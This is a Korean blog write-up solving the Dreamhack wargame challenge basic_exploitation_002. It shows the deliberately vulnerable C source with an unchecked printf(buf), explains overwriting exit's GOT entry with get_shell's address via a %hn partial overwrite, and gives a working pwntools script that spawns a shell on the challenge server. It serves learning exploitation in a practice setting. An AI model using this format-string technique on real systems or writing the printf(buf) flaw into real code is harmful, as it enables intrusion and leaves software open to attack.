본문 바로가기

드림핵 워게임

[드림핵/워게임] basic_exploitation_002

basic_exploitation_002

https://dreamhack.io/wargame/challenges/4

문제 파일을 다운 받으면 basic_exploitation_002.c와 실행 파일이 있다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

main 함수 부분을 보면 printf(buf); 코드가 있는 것을 볼 수 있다.

이는 포맷 스트링 버그를 일으킬 수 있다.

exit의 GOT에 get_shell함수의 시작 주소를 넣어 exit(0);가 실행될 때 get_shell 함수가 실행될 수 있도록 하면 될 것이다.

                    <exit의 GOT 위치와 get_shell 함수의 주소>

exit_GOT : 0x8048476

get_shell: 0x8048609

이제 exit_GOTget_shell 함수의 시작 주소를 넣어야 되는데, 상위 2바이트는 0x0804로 같은 것을 볼 수 있다.

따라서 하위 2바이트만 0x8609로 덮어 주면 되는데, 이를 partial overwrite라고 하며, %hn를 이용하면 된다.

다음과 같이 입력했을 때, 처음 입력한 %p가 앞의 aaaa를 가리키는 것을 볼 수 있다.

이것과 밑의 %hn 설명을 참고하여 코드를 짜면 다음과 같다.

from pwn import *

p = remote("host3.dreamhack.games", 20053)
e = ELF("./basic_exploitation_002")

ex = e.got['exit']
get_shell = e.sym['get_shell']

#print("exit(): " + hex(ex))
#print("get_shell(): " + hex(get_shell))

payload = p32(ex)
payload += b"%34309c%1$hn"

p.send(payload)

p.interactive()

0x8609 = 34313이고, 앞에 주소를 적어 줌으로써 4바이트를 사용하였으므로 34313 - 4 = 34309를 넣어 주면 된다.


참고

https://kaspyx.tistory.com/81